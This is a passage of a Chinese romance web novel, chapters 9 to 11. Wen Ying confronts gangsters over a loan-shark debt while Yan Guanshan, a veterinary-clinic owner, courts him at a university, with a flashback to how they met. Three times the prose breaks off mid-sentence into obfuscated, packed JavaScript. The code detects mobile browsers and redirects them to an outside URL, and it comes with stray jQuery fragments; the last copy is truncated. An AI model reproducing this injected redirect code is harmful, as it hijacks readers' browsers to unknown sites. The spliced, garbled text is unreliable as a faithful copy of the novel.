这附近不止玉大一所大学,围绕主街辐射开,周边重点高中、职高、中专都不少,是坐落在市中心,已成气候的大学城。
以至于发展至今,堕落街规模不小,鱼龙混杂,做什么营生的都有。在一些岔路小巷子里,荧光闪烁的酒店灯牌彻夜不息,一家叠着一家,俗称炮楼。个别巷口,看上去黑灯瞎火,细听能听见隐隐约约打电动和麻将机的动静。
闻影轻车熟路摸进巷子,在一家门半开半掩的棋牌室门口敲了敲玻璃门:“我找罗虎,叫他出来。”
9.第 9 章
棋牌室里人不多,两桌在打麻将,一桌坐着三个人抽烟喝酒,这三人闻声看过来,见门口一个吊着胳膊的年轻男人来者不善,一人皱着眉问:“你谁?”
“景三儿。”闻影靠着门说。
那人愣了下,把烟丢地上踩灭,慢吞吞走过来,他朝闻影喷了一口烟,嬉笑道:“你怎么找到这儿了,哪来的胆子?”
闻影偏头躲过这阵烟雾,睨着对方的头皮冷笑一声:“罗虎一茬接一茬地往我这儿送菜,不就是想见我?我自己来了,他人呢?”
混混道:“虎哥不在。”
闻影一哂:“高低也是蹲过大牢的人了,还只玩阴的,见我就躲,你大哥搁哪儿学的脾气啊?”
“你他妈嘴巴放干净点!”那人揪着闻影的衣领就往外推,其他几人也齐刷刷站起来壮大士气,闻影非但不怵,很快反手捏住对方的手腕,下巴朝一侧偏了下。
闻影冷笑着说:“在这儿打,你们等着二进宫,这店也别想开了。进去打呢,别说我现在一只手,就是只用脚你也得跪着喊爹,松开!”
混混看了眼巷口的监控,又回头使了个眼色,这才把闻影松开。
不怪他怂,能认出闻影那必然交过手,这小子从小到大打架不要命在这一片的混混里也算是个传说,而且店里能拿主意的人不在,做的营生不干不净,闹大了不好收场。
里面乌烟瘴气的,闻影没有进去的想法,长话短说道:“他既然不在,那你带句话,叫他有事儿冲我来,别招惹不相干的人。”
混混不服气道:“虎哥刚出来,你俩的事儿他当然会找你,但是一码归一码,别人惹了他,照样得清算。”
闻影脸一黑,以为他说的晏关山,怒道:“想怎么算老子随时奉陪,不关别人的事。”
混混听笑了,话风一变:“这么讲义气?行啊,来还钱的?”
“什么钱?”闻影莫名其妙问。
混混晃着他那颗脑袋:“你说什么钱。”
我说给罗虎买棺材板的钱。
闻影在心里骂了句,想到之前的事,犹豫着没立刻回怼。
闻影:“多少?”
混混耸耸肩:“我哪知道,等虎哥心情好找你再聊呗,进去这么久,总得给虎哥仔细算算。”
“行。”闻影伸指头点了点混混,“我没多少耐心,要算快点算,再来阴的,谁也别想好过,话带给罗虎,听清楚没有?”
混混咽了下口水,后退一步,很没气势地咋呼:“老子没聋。”
闻影懒得废话,转身回家。
他来这一趟,只是担心晏关山今天出头被找麻烦,既然对方只是图钱,那就好说。钱是他和罗虎结梁子的原因,但根源不在他,闻影当初也是替人出头才惹到这帮垃圾的。
他离开乌糟糟的巷子,沿着大路回家,掏出电话还是给费彦打了过去。
琢磨半天,闻影开口问了句废话:“睡了吗?”
对面乱哄哄的,有人叫嚣快出牌,费彦叫他们小声点然后才说:“没呢,我在打游戏,你怎么这个点儿打来,没去学校啊?”
“画完了回得早。”闻影扯了个谎,想着怎么问才能让对方不起疑,“闲着无聊打个电话给你,你妈最近情况好点没?”
费彦顿了下:“还那样呗,不好也不坏。”
费彦的父母都是老实巴交的农民,日子不富裕但总还过得去,自从费母得了尿毒症,家里卖了地到处治病,还是入不敷出,每周至少三次的血液透析几乎将家底挖空,费彦就是在走投无路的情况下借了高利贷的钱。
一开始他瞒着闻影和边屹,自家兄弟家庭情况什么样彼此都了解,费彦不想让他俩为难,直到债台高筑,催债的把人打得血肉模糊,是闻影和边屹找到他送去了医院。
费彦不得已说了实话,闻影问清楚对方是谁,叫边屹在医院照顾,头也不回地就走了。后来闻影替他还了债,只轻描淡写说事情解决了,不许费彦再去找他们,费彦不管怎么问都问不出他是怎么解决的,只是事后打听,借他高利贷的那位虎哥已经被警察抓了。
欠下的债不是笔小数目,费彦当然清楚闻影是动了什么钱帮他还的,他让闻影给他点时间,这笔钱他会还清。那时候费彦还没毕业,除开上课时间,中午去奶茶店打工,晚上去送外卖,半夜去网咖当网管,后来毕业找了工作,七七八八攒的钱一半负担家里开销,一半慢慢还闻影的债。
闻影知道兄弟过得艰难,这一两年才稍微有点起色,所以罗虎出狱的事,他不想让费彦知道。
闻影找了个地方坐下,点烟抽了一口道:“缺钱你跟我说。”
“不缺,倒还攒了点儿。”费彦吐槽边屹天天跟他打电话诉苦诗朗诵的事,两个人笑了会儿,费彦道,“要不我还是回来一趟得了,反正给放几天假,在现场也没事做,给咱边妈凑凑人气去。”
“回来干嘛!”闻影语气急了些,咳了声找补,“过年再回,不差几天。”
费彦:“……我这不是也挺想你俩的。”
闻影嗤笑一声:“跟谁腻歪呢,没人想你,没别的事儿挂了啊。”
怕费彦多想,闻影没再说什么,挂了后摁灭烟丢进垃圾桶,一抬头恍然发现自己又走回了这家药店,刚晏关山就坐在这张板凳上说“我管你”,说这话时表情认真郑重,要不是被他坑过,闻影差点就信了。
晏关山好像还要说很多话。
那些话闻影又想听,又不想听。
听了他不会信,但是听了,又觉得这些话放到过去说,兴许两个人眼下就不是这样的尴尬处境。
一面对晏关山,闻影从上到下从里到外都别扭,过不去这个坎,毕竟是自己唯一一次动过的心,动得稀碎。
晏关山就是个罪人!
手机响了一下,是策展的同学发来的,闻影这几天正纠结用哪幅画参加展览,这会儿突然有了主意,他站起来就往家赶。
浑然不知,有个人一直尾随在身后。
从堕落街的小巷子一直跟到他住的小区,见人安安全全进小区了,晏关山才松了口气,他始终盯着闻影进的那栋楼,蓦地意识到是电梯房,忍不住笑了下。
不会有他期待的灯亮起了。
以前住的老房子,楼道里一盏盏亮起来的灯像是心跳声,在某一层骤然停下,随着归家之人再把灯打开,一颗心才踏实。
晏关山曾经无数次这样仰视过租的那套小房子,很长时间他都在期待楼道的灯在他家那层停下,也期待家里有人在等。
但直到他换地方住了,都没等回来这个人。
将迷离目光从楼房上收回来,晏关山在手机记事本上记录了几个地址,眸光阴沉。
接下来两天,晏关山包揽了医助的工作,每天掐着时间往玉大去送猫,医院里同事们嘀咕好几天了,都想八卦院长最近行为古怪的缘由是什么。
毕竟他们院长玩命工作是出了名的,毛毛宠物医院可不止玉大旁边这一家,整个玉城有八家连锁的医院,平时紧要的手术都是院长亲自上阵,排班都排不过来,何况除开医院,还有公益基金和农畜兽医站的事要接洽。
见晏关山提着几个猫包就走,小陈和王医生趴在前台大声讲悄悄话:“谁家姑娘这么幸运,得咱们院……小晏哥青眼,上赶着去送猫啊。”
“接人下课吧?”王医生说。
小陈啧啧道:“也不知道买杯奶茶买个蛋糕,我是妹子根本不带理的。”
“玩儿挺花啊,一来就追女大学生,害得是你小晏哥牛——啊呀。”王医生也年轻,毕业就来毛毛宠物医院工作,算是和晏关山一起打拼的老同事,关系近说话没那么顾忌。
晏关山回身敲了下王医生的头:“闲得无聊我给你安排几台手术去城西做做?”
“您行行好。”王医生捂住头说,“前儿去北岸店给那只京巴换关节,没给我折腾了半条命,歇歇吧最近。”
小陈帮腔:“咱们小晏哥不是那样人,怎么叫玩儿呢,要来肯定是认真的,是吧小晏哥?”
自从让大家改口不叫院长,各个“小晏哥”叫得顺口,尤其小陈,好像关系拉近很多,最近特能聊,叽叽喳喳的晏关山倒也不嫌烦。
晏关山正经道:“我就是去送个猫,怎么老往那处想?”
王医生没多说,指指玻璃上的裂纹,让晏关山自己体会。
“小晏哥,你都恨不得晚上住这儿了。”小陈诚实地说,“李哥的活儿被你揽一半儿,一趟趟往玉大跑,大家很难不多想啊。”
晏关山坦然承认:“是在玉大见到个朋友。”
“你看嘛我就说!”王医生两手一摊。
小陈抓住重点:“所以小晏哥你真的在追人?漂不漂亮,哪个系的?什么时候领嫂子来咱医院视察啊!”
晏关山对于自己是否在追人想反驳一嘴,可追悔莫及也沾个追,这么说像是也合理,晏关山一一回答:“好看,美院的,但不是嫂子。”
“美院的耶!”小陈眼睛都在发亮。
王医生附和:“美院的要气质有气质,要模样有模样,小晏哥眼光毒,老师还是学生?”
晏关山:“学生。”
王医生发出羡慕的声音。
小陈和王医生一阵絮叨已经快进到送什么结婚礼物时,晏关山淡淡说:“是个男生。”
小陈一愣:“啊?”
“嗨!”王医生无语道,“搞半天你说的朋友还真就只是朋友啊,我以
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010067|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为……”
“不是你等会儿。”小陈按住王医生的手,眼睛却盯着晏关山,以她见过世面的判断晏关山这句话大有深意,前面铺垫那么多了,他都没否认,男女问题特意强调,总不能是随口一说。
男神是gay的打击在晏关山的坦然面前不值一提,小陈眨眨眼,晏关山知道她明白了,挑了下眉算是回应。
小陈会心一笑:“小晏哥,加油,需要帮忙随时叫我们。”
王医生莫名其妙:“啥意思?帮啥忙啊?”
“王哥,你就跟着我这么说!”小陈说。
王医生干巴巴道:“好么,加油,需要啥随时喊我。”
晏关山失笑:“又不是打架,叫你们干什么,走了。”
因为小陈一番提醒,晏关山也觉得空着手蹲人有失诚意,去玉大前又去那家奶茶店买了同一个口味,还打包了些甜点,这才在晚饭饭点赶到美院。
他跟送猫的姑娘约的时间就是这会儿,隐约记得上次也是这个点见到闻影的,说是蹲人,纯属瞎猫逮死耗子。
结果逮到了觊觎耗子的毛茸茸。
姑娘是个有毅力的人,晏关山想,都说有主了还不肯放弃,甚至比晏关山来得还早,将流浪猫交出去后,晏关山就坐在小花园石凳上玩手机,毛茸茸其实一早就注意到他,见他事情忙完,果然走过来搭讪。
“学长,又见面了。”毛茸茸甜美道。
“你好。”晏关山抬起头,没什么表情地看着她问,“又等人?”
毛茸茸抿了抿唇,干脆拉着一伙小姐妹都坐下:“不甘心,想再试试。”
晏关山不经意地往旁边挪了点:“哦。”
毛茸茸看了眼晏关山提着的奶茶和点心,笑道:“学长也在等人吗?”
晏关山:“嗯。”
毛茸茸:“我也想给他买奶茶的,总见他捧着一杯,应该挺喜欢喝,好像就是这个牌子。”
晏关山挑眉:“为什么没买?”
毛茸茸叹了口气:“万一他对象看见,不大好,其实我就想看一看他对象,这样就死心了。”
晏关山没有说话,低头看了眼奶茶,其实他也不确定闻影会不会收下。
晏关山聊天兴致不高,毛茸茸很快又将注意力转移到和小姐妹的热聊上,距离太近,她们说得再小声晏关山也全听见了。
“你别不信,我美院同学说了,他们院儿十男九同,闻影不可能是那一个漏网之鱼,何况他自己都承认了,长那么帅又从来不交女朋友,基本实锤了吧。”
“传言说导员跟他是一对,好几年了,系里都知道他俩的事儿。”
“那导员也帅得要命,搞艺术的气质和逼格拉满,配一脸,好像叫苏淳来着。宝贝儿追不到干脆磕 cp 吧,咱给自己留个后路。”
晏关山听得脸色越发阴沉,狠狠记住了苏淳的名字,突然身旁一阵骚动。
有个姑娘激动得指着前面:“喏,那就是苏淳,那不是闻影吗?”
另一个姑娘摇头叹气:“啧啧啧,导员还给他带了奶茶,在门口等他,这下你没话说了吧。”
“别难过呀宝,下一个更香,帅哥那么多,你旁边这位我看着就比他俩都强。”姑娘彼此安慰着。
旁边这位脸都黑成锅底了,晏关山死死地盯着那位导员,对方看见闻影后脸上的欣喜和殷勤根本藏不住,都不需要流言渲染,明眼人一看就知道怎么回事。
晏关山看得牙痒。
闻影一脸不耐烦地停下脚步:“才吃了饭哪喝得下,你自己喝吧。”
“特意给你买的。”苏淳笑眯眯地伸过手来。
“真不要。”闻影死活不接,问,“杵这儿干嘛?”
“等你。”苏淳笑容温和。
闻影不自在道:“你下你的班。”
“回去也没事,我陪你画画。”苏淳说。
在大楼门口下人面子不大好,左右为难的时候手机响了,一看是晏关山,闻影蹙了下眉接起来:“他们找你了?”
对面愣了下:“……没找我不能给你打?”
闻影松了口气,语气恶劣:“不能!”
“打都打了。”晏关山说,“转过头来。”
闻影一边“啊”一边转身,见小花园有个高大帅气的男人抬了下手。
闻影无语:“你怎么又在这啊?”
晏关山厚着脸皮编:“我刚好来送猫,碰巧……”
绯闻男友苏淳近在咫尺,就在晏关山的视线里晃悠,他实在没有耐心也没那个气量再编下去了。晏关山沉下声道:“算了,我在这等了你半个多小时了。”
闻影:“啊?”
晏关山不冷不热地说:“你过来。”
10.第 10 章
远远看过去,晏关山一大高个儿戳在一堆女生中间,望着自己这边,那口气像是不立即过去他就找过来干点什么,闻影懒懒地“哦”了一声,挂掉电话。
苏淳:“走吧,我陪你上楼。”
“不了,有人找。”闻影扭头说完就想走。
苏淳拉了他一下,很快松开袖子,把奶茶提到面前:“那这个你带去喝,我上楼等你。”
“甭等,我今晚不画了。”闻影觉得自己拒绝得太生硬,因为苏淳的脸色越来越难看,闻影顾不上那么多了。苏淳是个挺好的导员,可闻影不这样冷硬地保持距离,只会后患无穷。
他吊儿郎当地走向晏关山,不知是不是错觉,随着两个人越来越近,他明显感觉到晏关山脸上的表情像冰山融化春回大地一样,和煦了起来。
闻影在人面前站定:“非叫我过来干嘛?”
晏关山瞥了美院大楼一眼:“有人等?”
闻影回身看了一眼,苏淳也跟个定海神针一样戳在楼梯上,直愣愣地看着这边,他回过头来一脸糟心:“没人等,别在这站着,蠢得很,去别地儿。”
晏关山抬眸望着远方一笑:“好。”
说完顺手将奶茶和点心递给闻影,无言地送出去,对方无言地接下,非常顺理成章,看得苏淳和近在咫尺的毛茸茸党都是一噎。
“卧槽不是吧?闻影男朋友是这个大帅哥吗?”
“前几天不就是他跟你说的闻影有主了。”
“悬着的心终于死掉了,我觉得你说得对,恋爱可以不谈,CP不能不磕。”
“宝儿,你别说,他俩站一起好般配,这CP我也想磕。”
这些话从耳边飘过去,晏关山都听见了,闻影没注意旁边的人一直在看他们,只隐约听见般配两个字,莫名其妙问:“她们在叽歪什么?”
晏关山笑得轻松:“小女生八卦而已,随她们去吧,咱们去哪儿?”
闻影也没主意,他过来单纯是不想跟苏淳一起上楼,省得对方一会儿又掏出什么别的来献殷勤,他烦得很。闻影说:“随便走走。”
“嗯。”晏关山抬手指了下右边,“那去农牧系逛逛,那边植被都是精心养着的,冬天也好看。”
闻影随口一问:“你怎么知道?”
晏关山笑了下:“你忘了吗,我也是玉大的学生。”
“……忘了。”闻影戳开奶茶吸了一口,他一只手不太方便,晏关山拿过其他东西,找到温室花园坐进去。
太阳彻底落了山,花园里的灯都亮起来,农学院果然是比别处不一样,植物都被学生们精心养护着,其他地方已是枯枝败叶的萧条,这里一派欣欣向荣。
坐在欣欣向荣的花园里闻影感觉气氛说不出的诡异,仿佛只有谈恋爱的人才会这般闲情逸致地捧着爱心奶茶和甜点,坐在一起发呆。
他和晏关山这种不尴不尬的关系,在这能坐出什么花来?
闻影快速喝了大半杯奶茶,晏关山没话找话道:“凉了,喝多了胃不舒服,不想喝就扔了吧。”
闻影瞥他一眼:“那你干嘛买冷的啊?”
晏关山:“本来是热的,等太久了就凉了。”
闻影眯了眯眼:“等我干嘛?”
晏关山没想好借口,含糊道:“你说呢。”
“不就一块玻璃钱你特么至于么。”闻影笑了,“我还能为这点钱跑路啊?”
“为钱是不至于。”晏关山小心翼翼地旧事重提,“跑路又不是第一次。”
“……”闻影又眯了眯眼,“为什么来这儿等我?”
晏关山:“你说在这兼职,我反正要送猫,过来碰碰运气。”
闻影揉了揉脸:“你是不是有话要说,赶紧说,说完滚。”
又开始龇牙了。
晏关山无视那个“滚”字,温和道:“刚那个人是谁?”
闻影:“哪个人?”
晏关山:“给你奶茶的那个。”
闻影“哦”了声:“是我导……倒腾兼职的时候认识的,美院的导员,介绍工作给我。”
晏关山忍着笑:“他们对男模还挺客气,给买奶茶。”
闻影心虚了一秒道:“关你屁事。”
晏关山好奇:“为什么没收他的?”
闻影不耐烦:“你问题怎么这么多!”
晏关山挑眉:“都是奶茶,我想知道有什么区别,我的就比他的好喝?”
“少给自己脸上贴金,冷了吧唧的好喝在哪里,我跟他不熟,不想要他的而已。”闻影看见对方弯着的嘴角,瞪眼,“你能不能闭嘴?”
晏关山:“好。”
闻影嘟哝:“我以前怎么没发现你这么能说,三捶打不出个屁,跟个哑巴一样,现在张嘴就叭叭叭叭。”
晏关山严格执行闭嘴命令,掏出手机点开照片,伸到闻影面前。
闻影一愣:“……小橘?”
晏关山点点头,又划了几张照片,小橘的毛发顺滑鲜亮,身型胖了一圈,被喂得很好,就模样还是那副拽兮兮欠揍的表情,闻影看完笑起来。
晏关山又打开朋友圈给他看,“咚咚”戳了下屏幕。
闻影觉得他真的好幼稚:“说话。”
晏关山:“小橘前阵得了猫瘟送来我们医院救治,现在治好了也做了绝育,之前那姑娘带回宿舍养了几天,照顾到它康复,现在在给它找领养。”
玉大学生心都软,校园里的流浪猫狗跟祖宗似的被照顾得很好,但学生宿舍禁养宠物,所以最多也就是找宠物医院做完绝育,接着放养在校园里。
小橘的领地就在美院门口那个小花园,刚生下来闻影就见过,当时还废了他一件儿衣服,包着一窝猫崽子塞给了老徐,老徐的保安室有好几个小太阳,给猫崽子烤火正好,为此闻影还请老徐吃了三顿饭。
但他从来没动过要养动物的心思,即便他另外租房,也无法养。
晏关山试探道:“我看你好像挺喜欢小橘的,要不要领养?”
我自己都特么是个流浪狗,领养小橘不是害它?
闻影果断拒绝:“养不了。”
晏关山眨眨眼:“喜欢就带回家,不会照顾我可以教你。”
“我住工棚板房,怎么养动物啊?”闻影嗤笑完,又道,“还是让别人养吧,总比在我这儿好。”
喝完奶茶,闻影找垃圾桶扔掉,准备回去了,他才意识到自己跟晏关山坐在这儿磕牙打屁聊些有的没的,超出了给自己设置的界限,有些懊恼后悔,就不该搭理晏关山,他凑上来也不该搭理!
闻影冷酷道:“我走了。”
“等会儿。”晏关山一步追上来,把甜点塞他手里,“饿了就吃点,省得不熟的人请你吃宵夜,你找不到拒绝的借口。”
闻影:“……”
话都被你说完了,自己跟自己聊吧。
晏关山在温室花园坐了很久,在想谎称当男模的闻影,此时此刻应该安安静静地坐在画室里创作了吧,他在画什么,画得行云流水还是百般艰难,他这些年画过我吗,有没有想起我?
晏关山越想越远,苦笑了下,发现自己很难将他的现状描摹准确。
在时隔六年后旁敲侧击到这人的一点一滴,竟然都和曾经知道的完全不同,可晏关山并不生气,反而对他不为己知的这些面孔感到好奇。
景三不叫景三。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027444|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
遇到的那年并没有十八岁。
他当初是否在工地搬过砖还得打个问号。
当然现在也不是美院的人体模特。
晏关山无比兴奋又诧异,等了六年等来的全是谜题,不知道解到哪一题,对方才肯回头看自己一眼呢。
“喂,许寰,是我。”晏关山拨出电话,懒得寒暄直入正题,“还记得我以前拜托你帮找一个人吗?”
许寰:“景三嘛,我一直托人问呢,玉大没这号人。”
晏关山:“是我弄错名字了,他叫闻影,美院大四的。”
许寰:“美院?你等会儿,这名字我怎么有点印象。”
晏关山:“帮我查查他的情况,比如有没有什么经济困难,或者惹上过什么麻烦之类的。”
许寰是晏关山初中到大学的同学,毕业后留校工作,在学生处做行政岗。出于种种原因,晏关山一直不肯交朋友,要不是许寰性格使然,从高中开始总爱逗不搭理人的晏关山,到大学晏关山也不会收获到他第一个也是真心的好友。当年闻影跑了之后,晏关山只告诉过许寰一个人他俩之间的事,并难得开口求助,让许寰帮他找人。
许寰:“老晏,你俩之间到底有过什么事儿从来就不说明白,我查是可以帮你查,但找到人了,你总该给我一句实话了吧?”
晏关山就不知道从哪儿说起:“给。”
许寰:“你俩……?”
“没谈。”晏关山直言,“差点儿。”
“那他跑啥?”许寰不理解。
晏关山言简意赅说:“我气跑的。”
“真逗。”许寰吐槽,“不过就你以前那性格脾气,是挺气人。”
“赖我。”晏关山没什么不能跟许寰说的,“那会儿还不能正视自己的性向,伤着他了。”
许寰上大学开始性向就是公开的,晏关山愿意和他交心之后,这事儿也跟许寰坦白过。他能聊对方也能明白的也就许寰一个人。
“我大概能猜到点了。”许寰说,“刚突然想起来在哪听过这个名字。”
“闻影。”晏关山又重复一遍。
“是这名儿。”许寰道,“之前听美院同事说过,他们那有一学生不来上课,一到半夜就跑画室睡着,虽然期末考试合格但缺课率太高,挂太多科得重修,后来是那系主任亲自将人保下来的,前些年的事儿了。”
晏关山心道,怪不得总是这个点来学校。
许寰:“其实缺课挂科的多了去了,我为什么记得这事儿呢,是因为这学生天赋很高,听说好几个知名画廊等着签他,作品也参加过很多画展,几个老教授都特喜欢,后来联名给领导打申请,特批了让他通过的。”
晏关山认真听着,不断把这些经历贴到他所认识的那个爱龇牙爱炸毛的小帅哥身上。
是可爱的。
许寰:“明儿我给你问问,对了,提起美院,他们元旦那几天有画展,他应该也参展,我这儿有学生会送的票,这你不得跟我一起去?”
“去。”晏关山果断道,“谢了啊。”
许寰嫌弃:“不听这个。”
晏关山失笑:“约饭,我再老实交代。”
“这就对了嘛。”许寰笑着说,“最好那会儿能把这人一起带来,我看看咱晏大帅哥心心念念的小朋友,到底有什么魅力。”
“你别想。”晏关山玩笑道,“可没你事儿。”
许寰故意问:“他贤惠温柔不?”
“爱龇牙。”晏关山想都没想就答。
“那真没我事儿。”许寰说,“我喜欢温柔的人,凶巴巴的咋过。”
“我就喜欢凶的。”晏关山说完笑着挂了电话。
11.第 11 章
一年的最后一天,边屹中午就提着菜来敲闻影家的门。
闻影迷迷瞪瞪地起床,开门让他进来,一头又倒在了沙发上呼呼大睡。
边屹早就习惯了他的阴间作息,边给他盖毯子边念叨:“什么时候能换个指纹锁啊,闻影影,找房东说说嘛,我每回来找你不是罚站就是提着菜去学校,好丢人喔。”
闻影声音哑哑地:“你就不能挑个我醒着的时候来。”
边屹噘嘴:“等你醒了再来,太阳都落山了,那做的是正餐还是宵夜啊,而且万一来你家有事,进都进不来。你清醒清醒,争取在我做好饭前坐起来好吗?”
闻影耍赖地把头扭开:“吃什么呀?”
“杀条鱼做个清蒸,煎几条小的下酒,做个红烧肉,炒俩青菜煮锅杂菜汤。”边屹说。
闻影默不作声地咽了咽口水。
有妈真好。
边屹穿上小围裙,熟练地在厨房乒乒乓乓,不一会儿整个屋子里就弥漫着各种香气,闻影的馋虫被勾起,不知不觉就坐了起来。
他最近忙得喘不上气,既要准备画展的画,期末了还得应付考试,高低背一背那些艰涩绕口的理论知识,否则老教授一把年纪还得为他不挂科奔波,闻影也过意不去,还有最重要的一点,他不想再因为这些事欠苏淳人情。
磨磨蹭蹭进厨房偷了一条小鱼干吃下,边屹一扭腰把闻影拱开:“刷牙没有?”
“没有。”闻影叭吱叭吱嚼得起劲。
“刷牙去。”边屹低着头炒菜,那架势,俨然国宴掌勺。
闻影没动,他看着锅里的花花绿绿出神,隔了会儿问:“边妈,你谈过恋爱吗?”
问完惊觉是个废话,边屹这些年几乎跟闻影形影不离,别说恋爱这种大事,他要是对哪个帅哥多看一眼都要拉着闻影絮叨一整天,是个心里不藏事儿的主。
边屹反应剧烈,猛回头惊讶道:“你谈恋爱了?!”
“没有。”闻影说,“我就问问。”
边屹歪着头端详闻影的表情,眯眼道:“你肯定不是随口问问的,你以前还说谈恋爱的都是傻逼。”
闻影:“……”
边屹把锅里菜盛出来,盖上盘子放在微波炉里保温,然后开文火熬着汤,时间足够,他看了闻影一眼:“你真没谈恋爱?”
“真没。”闻影道。
边屹又问:“那是有喜欢的人了?”
这次闻影没有很快回答,他想了想这些事儿放心里实在不爽,总得找自家兄弟说说,于是道:“以前有过。”
“多以前?”边屹问。
闻影:“六年前吧,刚认识你那会儿。”
边屹有点惊讶,那会儿的闻影每天都在打架,为了费彦打,为了自己打,学校来的不多,平时他去了哪儿边屹确实也不清楚,认识了哪些人更是无从得知。
闻影语速很慢地道:“是我主动追的人。”
“是个什么样的人啊?”边屹顿了顿皱着眉说,“不会是混社会的大哥吧?”
闻影白他一眼:“比我大点儿,那会儿他刚考上玉大。机缘巧合认识了,我欠他个人情,想着吃几顿饭还了拉倒,吃着吃着就……”
难得闻影也会有难为情的时候,当然也不止是难为情,这些过往他刻意不去回忆,沉在记忆深处很多年了,要自己说出来,就像开启尘封的旧照片,每一张都历历在目,每一帧都还有最单纯的情感冲击。
“我第一次喜欢一个人,很喜欢。”闻影平静地说。
闻影不受控制地陷入回忆中——
在宠物医院的“员工宿舍”歇了一宿后,闻影惦记着请客吃饭,第二天真就蹲在医院门口等晏关山,他背着书包臂弯里还夹着好几本书,挺拔帅气青春逼人,见吊儿郎当蹲在门口的闻影,晏关山愣了下停下脚步。
“晏关山!”闻影咧嘴一笑:“你怎么才来啊?晚饭等到现在,只能吃宵夜了。烧烤还是火锅?”
晏关山很冷淡地拒绝:“不吃。”
“是要上班了?”闻影看了眼医院里的情况,“那你几点下班,我等你呗。”
晏关山:“不了。”
他说话淡淡的,不轻不重没情绪,字也不多,以至于闻影不知道他到底是因为不饿不想吃,还是烧烤火锅都不爱吃。
“那你想吃什么,这片儿我熟,我找找。”怕他再支支吾吾一会儿一个“不”字,闻影抢先道,“说了还你个人情,不愿意吃饭就只好跟你算钱了,你选。”
随手帮助个小孩儿还收钱太难看了,晏关山看对方架势这饭要是不吃改明儿他还蹲,只好答应简简单单吃个宵夜。
就这一顿宵夜的功夫,闻影嘴巴基本没停过,其实平时他也没那么能聊,碰上陌生人或没好感的闻影也是个锯嘴葫芦,但晏关山不一样,帮了闻影一次闻影就默认他是个好人,天然就愿意多聊。聊着聊着,倒也能从三句话锤不出个屁的晏关山这儿窥见一点他的生活。
知道他因为个人问题不愿意住集体宿舍,又因为经济原因借住在宠物医院里,三天后,闻影直接在校门口蹲人,半道把人截去了一个老破小的小区。
打开门,闻影把人拉到窗户边说:“采光还行,收拾收拾不比那新小区差,也就楼道脏点没电梯。”
晏关山微微惊讶:“你帮我找的?”
“啊,那不然呢?”闻影好笑道,“这片儿我看了好几个房,也就这屋合适,你一个人住小点没所谓,月租七百,年付还能便宜些。”
房子确实很小,但该有的都有,独立的卫生间,床和客厅之间还做了格挡,厨房虽小电器都是新的,整个房打扫得干干净净,价钱是晏关山目前能负担得起的极限。
晏关山看了一圈站在窗边沉默。
闻影说:“别误会啊我可不是中介,只是觉得你那‘宿舍’太挤,对付一两天行,时间长了住不了,想着给你找找,你那天不也说找到合适的会搬么。”
“我没那么想。”晏关山看着闻影,半天才生疏地说了声,“谢谢。”
“住?”闻影歪头问。
晏关山轻笑了下:“嗯。”
给人办了件事儿,闻影自己也高兴,他把房东的微信名片推给晏关山,叮嘱:“房东是个老奶奶,姓杨,挺和善的,你住多久怎么付钱直接问她就行了。”
“景三儿。”晏关山再次说,“谢谢。”
闻影摆摆手:“搬家告诉我一声。”
就这样,晏关山提着大包小包的行李于两天后搬进了那个第一个称得上是家的小屋子。搬了家收拾得差不多,他才给闻影发消息说了这件事。
晏关山其实是想感谢对方,用闻影能接受的方式,也请他吃顿饭,问他想吃什么哪天有时间,闻影说搬家就在家里开伙,没多久提着菜就自己来了。
晏关山把人请进门后面露窘迫:“我不会做饭。”
“煮饭就行。”闻影自来熟得很,径直去了厨房,“菜我弄。”
这家里有什么闻影来看过他心里有数,用得着的家电碗碟拿出来都擦了一遍,他自己忙活得不亦乐乎,扭头见晏关山杵在一边,愣愣的。闻影用下巴指指电饭煲,催促:“你先煮啊。”
晏关山认真问:“怎么煮?”
闻影无语地看着他:“电饭煲会用吗?”
晏关山摇头。
闻影:“那……你先淘米。”
晏关山已经有点无措了,剪开闻影买来的一小袋米,无从下手。他问:“怎么淘呢?”
闻影在震惊中教会了对方淘米和用电饭煲,并逐渐发现晏关山对于日常生活里需要用到的电器以及基本常识诸如煤气水电费充值可以说是一无所知,他是个纯纯的生活白痴,闻影手把手一一把他教会。
这顿饭三菜一汤,番茄炒蛋、油渣呛莲白、小炒肉加个苦菜汤,最朴实简单的家常菜,闻影就这个水平,要做复杂的他也不会,闻影指挥着晏关山把菜都抬到了客厅,捏着一把筷子宣布:“开饭。”
这屋子没有饭厅,得挤在沙发吃,晏关山一双长腿无处安放,闻影倒是自在得很,边吃边说:“我今儿要是不来,你哪天在家里给电死了都有可能。晏关山,你是不是哪个豪门大户跑路的少爷啊?”
晏关山默默承受闻影嘲讽,没回嘴,隔了会儿他问:“你怎么懂这么多?”
“哪么多?”闻影莫名其妙。
晏关山
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 